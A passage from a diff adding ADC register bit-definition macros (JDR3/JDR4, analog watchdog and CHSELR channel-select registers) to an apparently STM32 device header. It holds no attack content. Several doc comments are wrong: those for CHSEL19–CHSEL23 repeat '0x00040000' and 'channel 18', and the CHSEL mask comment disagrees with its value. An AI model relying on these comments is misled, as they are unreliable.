ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 